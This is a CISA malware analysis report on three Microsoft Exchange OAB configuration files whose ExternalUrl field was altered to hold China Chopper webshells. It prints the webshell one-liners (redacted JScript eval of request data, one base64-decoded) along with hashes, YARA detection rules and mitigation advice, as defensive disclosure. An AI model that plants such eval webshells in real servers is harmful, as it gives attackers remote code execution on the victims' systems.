Analysis Report

MAR-10331466-1.v1: China Chopper Webshell

Last Revised
Alert Code
AR21-102A

body#cma-body { font-family: Franklin Gothic Medium, Franklin Gothic, ITC Franklin Gothic, Arial, sans-serif; font-size: 15px; } table#cma-table { width: 900px; margin: 2px; table-layout: fixed; border-collapse: collapse; } div#cma-exercise { width: 900px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; } div.cma-header { text-align: center; margin-bottom: 40px; } div.cma-footer { text-align: center; margin-top: 20px; } h2.cma-tlp { background-color: #000; color: #ffffff; width: 180px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; float: right; } span.cma-fouo { line-height: 30px; font-weight: bold; font-size: 16px; } h3.cma-section-title { font-size: 18px; font-weight: bold; padding: 0 10px; margin-top: 10px; } h4.cma-object-title { font-size: 16px; font-weight: bold; margin-left: 20px; } h5.cma-data-title { padding: 3px 0 3px 10px; margin: 10px 0 0 20px; background-color: #e7eef4; font-size: 15px; } p.cma-text { margin: 5px 0 0 25px !important; word-wrap: break-word !important; } div.cma-section { border-bottom: 5px solid #aaa; margin: 5px 0; padding-bottom: 10px; } div.cma-avoid-page-break { page-break-inside: avoid; } div#cma-summary { page-break-after: always; } div#cma-faq { page-break-after: always; } table.cma-content { border-collapse: collapse; margin-left: 20px; } table.cma-hashes { table-layout: fixed; width: 880px; } table.cma-hashes td{ width: 780px; word-wrap: break-word; } .cma-left th { text-align: right; vertical-align: top; padding: 3px 8px 3px 20px; background-color: #f0f0f0; border-right: 1px solid #aaa; } .cma-left td { padding-left: 8px; } .cma-color-title th, .cma-color-list th, .cma-color-title-only th { text-align: left; padding: 3px 0 3px 20px; background-color: #f0f0f0; } .cma-color-title td, .cma-color-list td, .cma-color-title-only td { padding: 3px 20px; } .cma-color-title tr:nth-child(odd) { background-color: #f0f0f0; } .cma-color-list tr:nth-child(even) { background-color: #f0f0f0; } td.cma-relationship { max-width: 310px; word-wrap: break-word; } ul.cma-ul { margin: 5px 0 10px 0; } ul.cma-ul li { line-height: 20px; margin-bottom: 5px; word-wrap: break-word; } #cma-survey { font-weight: bold; font-style: italic; } div.cma-banner-container { position: relative; text-align: center; color: white; } img.cma-banner { max-width: 900px; height: auto; } img.cma-nccic-logo { max-height: 60px; width: auto; float: left; margin-top: -15px; } div.cma-report-name { position: absolute; bottom: 32px; left: 12px; font-size: 20px; } div.cma-report-number { position: absolute; bottom: 70px; right: 100px; font-size: 18px; } div.cma-report-date { position: absolute; bottom: 32px; right: 100px; font-size: 18px; } img.cma-thumbnail { max-height: 100px; width: auto; vertical-align: top; } img.cma-screenshot { margin: 10px 0 0 25px; max-width: 800px; height: auto; vertical-align: top; border: 1px solid #000; } div.cma-screenshot-text { margin: 10px 0 0 25px; } .cma-break-word { word-wrap: break-word; } .cma-tag { border-radius: 5px; padding: 1px 10px; margin-right: 10px; } .cma-tag-info { background: #f0f0f0; } .cma-tag-warning { background: #ffdead; }

Malware Analysis Report
10331466.r1.v1
2021-03-29

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received three unique files for analysis. The files appears to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameter. In the OAB VD, the ExternalUrl parameter contains a "China Chopper" webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10331466-1.v1.stix.

Submitted Files (3)

0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170 (supp0rt.aspx)

7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271 (discover.aspx)

eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9 (0QWYSEXe.aspx)

Findings

eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9

Tags

trojanwebshell

Details
Name 0QWYSEXe.aspx
Size 2205 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 e0cca3b973e3e21ac30d77f3a33a5587
SHA1 bdf949b284896e9a229a1963f3a48752d7dba28a
SHA256 eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9
SHA512 3acbfba543f4a3212d52f9c9323d4b45131f488596fa4699d6fe7fde4075a3b6682fa42b251d9c99e52fa7acf937861b9382ff956cb8b33f494f8484bbe725ab
ssdeep 24:kNrde9pr+rJTh91Q/PayH/56j0SzMaJVMr6j71idfh1hdNcXO2E4ONF0qmM+Wi:kNrde+1BL0NM5QZ1hdNcXw4ONF0qmM2
Entropy 4.685295
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.7912AB84
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.7912AB84 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.7912AB84
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Webshellz"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }

           $s1 = { 65 76 61 6C 28 }

           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }

           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

       condition:

           $s0 or ($s1 and $s2) or ($s3 and $s4)

    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }

           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }

           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }

       condition:

           $s0 and $s1 and $s2

    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.



In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:



--Begin webshell--

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

--End webshell--



Note: The hard-coded key used for authentication was redacted from the code above.



The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.



This file contains the following configuration data (sensitive data was redacted):



--Begin configuration--



Name                            : OAB (Default Web Site)

PollInterval                    : 480

OfflineAddressBooks             :

RequireSSL                     : True

BasicAuthentication             : False

WindowsAuthentication         : True

OAuthAuthentication             : False

MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB

Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB

ExtendedProtectionTokenChecking : None

ExtendedProtectionFlags         :

ExtendedProtectionSPNList     :

AdminDisplayVersion             : Version 15.1 (Build 1713.5)

Server                         : BVSDEX01

InternalUrl                     : https://REDACTED.REDACTED.local/OAB

InternalAuthenticationMethods : WindowsIntegrated

ExternalUrl                     : hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

ExternalAuthenticationMethods : WindowsIntegrated

AdminDisplayName                :

ExchangeVersion                 : 0.10 (14.0.100.0)

DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local

Identity                        : REDACTED\OAB (Default Web Site)

Guid                            : b8f5f75c-b0f6-4e67-93eb-150675b3e4cd

ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory

ObjectClass                     : top

                                msExchVirtualDirectory

                                msExchOABVirtualDirectory

WhenChanged                     : 3/6/2021 9:00:27 PM

WhenCreated                     : 3/6/2021 7:28:24 AM

WhenChangedUTC                 : 3/7/2021 3:00:27 AM

WhenCreatedUTC                 : 3/6/2021 1:28:24 PM

OrganizationId                 :

Id                             : REDACTED\OAB (Default Web Site)

OriginatingServer             : REDACTED.REDACTED.local

IsValid                         : True

---End Configuration Data---

0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170

Tags

trojanwebshell

Details
Name supp0rt.aspx
Size 2296 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 0201303f05753999d5eed5609dd3a237
SHA1 3df15fe7dba13619610cd95fad9be4ce0805a50e
SHA256 0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170
SHA512 5bbbddbf8b8bb10268c2187516fb0ee0a8d93bbdc0834794a3094309b5e88fb24274ea3114eaddb2a89954587d5ec79a1e3178b295503cc90badcc1142cd799e
ssdeep 48:kNrde+1BL0vEsFkc45aM5QZ1hdNw+w4ONF0qHK:ktde+svEsW74NANCqq
Entropy 4.747801
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.I.62E1504C
ClamAV Asp.Trojan.Webshell0321-9840173-0
Emsisoft Generic.ASP.WebShell.I.62E1504C (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.I.62E1504C
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal CVE-2021-26855.Webshll.41381
Sophos Troj/WebShel-O
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Webshellz"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }

           $s1 = { 65 76 61 6C 28 }

           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }

           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

       condition:

           $s0 or ($s1 and $s2) or ($s3 and $s4)

    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }

           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }

           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }

       condition:

           $s0 and $s1 and $s2

    }
ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB virtual directory is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory.



In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:



---Begin Webshell---

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["[REDACTED]"])),"unsafe");}</script>

---End Webshell---



Note: The hard-coded key used for authentication was redacted from the code above.



The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key used for authentication was redacted from the code above. If the attacker is successful at accessing the script, they will be able to execute commands on the page with server (system) level privileges.



The file contains the following configuration data (sensitive data was redacted):



---Begin Configuration Data---

Name                            : OAB (Default Web Site)

PollInterval                    : 480

OfflineAddressBooks             :

RequireSSL                     : True

BasicAuthentication             : False

WindowsAuthentication         : True

OAuthAuthentication             : False

MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB

Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB

ExtendedProtectionTokenChecking : None

ExtendedProtectionFlags         :

ExtendedProtectionSPNList     :

AdminDisplayVersion             : Version 15.1 (Build 1713.5)

Server                         : REDACTED

InternalUrl                     : hxxps[:]//REDACTED.REDACTED.local/OAB

InternalAuthenticationMethods : WindowsIntegrated

ExternalUrl                     : hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["[REDACTED]"])),"unsafe");}</script>

ExternalAuthenticationMethods : WindowsIntegrated

AdminDisplayName                :

ExchangeVersion                 : 0.10 (14.0.100.0)

DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local

Identity                        : REDACTED\OAB (Default Web Site)

Guid                            : 06637895-089e-4332-8d55-cfc26d5f812a

ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory

ObjectClass                     : top

                                msExchVirtualDirectory

                                msExchOABVirtualDirectory

WhenChanged                     : 3/5/2021 2:48:16 PM

WhenCreated                     : 3/3/2021 9:00:53 AM

WhenChangedUTC                 : 3/5/2021 8:48:16 PM

WhenCreatedUTC                 : 3/3/2021 3:00:53 PM

OrganizationId                 :

Id                             : REDACTED\OAB (Default Web Site)

OriginatingServer             : REDACTED.REDACTED.local

IsValid                         : True

---End Configuration Data---

7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271

Tags

trojanwebshell

Details
Name discover.aspx
Size 2196 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 66daca742a53062d5828cb02e48ee53f
SHA1 25eb33b515f4bfdf704ed881fb11cd2ad1d345e6
SHA256 7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271
SHA512 29d324a2024fd1f9dc30f9aa23e8dd8657839ad8aa2a1d46a76263b9030b3f8fa679cb5b9655dbb9dd04314e229382d9de39d48a4f6fdb40baf69bcf2e0500c7
ssdeep 24:kNrde9pr+rJTh91Q/PayH/56j0SzMaF8DVMr6j71idfh1hdN7wcjO2E4ONF0qkv4:kNrde+1BL0oM5QZ1hdNZw4ONF0qkg
Entropy 4.666697
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.5499F873
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.5499F873 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.5499F873
McAfee Exploit-CVE2021-26855
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Webshellz"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }

           $s1 = { 65 76 61 6C 28 }

           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }

           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }

       condition:

           $s0 or ($s1 and $s2) or ($s3 and $s4)

    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065

    {

       meta:

           Author = "CISA Code & Media Analysis"

           Incident = "10328929"

           Date = "2021-03-17"

           Last_Modified = "20210317_2200"

           Actor = "n/a"

           Category = "Trojan WebShell Exploit CVE-2021-27065"

           Family = "HAFNIUM"

           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"

           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"

           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"

       strings:

           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }

           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }

           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }

       condition:

           $s0 and $s1 and $s2

    }
ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB virtual directory is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory.



In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:



---Begin Webshell---

hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

---End Webshell---



Note: The hard-coded key used for authentication was redacted from the code above.



The script within the file decodes and executes data using the JavaScript "eval" function. The hard-coded key used for authentication was redacted from the code above. If the attacker is successful at accessing the script, they will be able to execute commands on the page with server (system) level privileges.



The file contains the following configuration data (sensitive data was redacted):



---Begin Configuration Data---

Name                            : OAB (Default Web Site)

PollInterval                    : 480

OfflineAddressBooks             :

RequireSSL                     : True

BasicAuthentication             : False

WindowsAuthentication         : True

OAuthAuthentication             : False

MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB

Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB

ExtendedProtectionTokenChecking : None

ExtendedProtectionFlags         :

ExtendedProtectionSPNList     :

AdminDisplayVersion             : Version 15.1 (Build 1713.5)

Server                         : REDACTED

InternalUrl                     : hxxps[:]//REDACTED.REDACTED.local/OAB

InternalAuthenticationMethods : WindowsIntegrated

ExternalUrl                     : hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>

ExternalAuthenticationMethods : WindowsIntegrated

AdminDisplayName                :

ExchangeVersion                 : 0.10 (14.0.100.0)

DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local

Identity                        : REDACTED\OAB (Default Web Site)

Guid                            : f04c8256-f0f3-44b8-b845-9690ded23ae1

ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory

ObjectClass                     : top

                                msExchVirtualDirectory

                                msExchOABVirtualDirectory

WhenChanged                     : 3/3/2021 9:00:33 AM

WhenCreated                     : 3/3/2021 12:55:49 AM

WhenChangedUTC                 : 3/3/2021 3:00:33 PM

WhenCreatedUTC                 : 3/3/2021 6:55:49 AM

OrganizationId                 :

Id                             : REDACTED\OAB (Default Web Site)

OriginatingServer             : REDACTED.REDACTED.local

IsValid                         : True

---End Configuration Data---

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

April 12, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.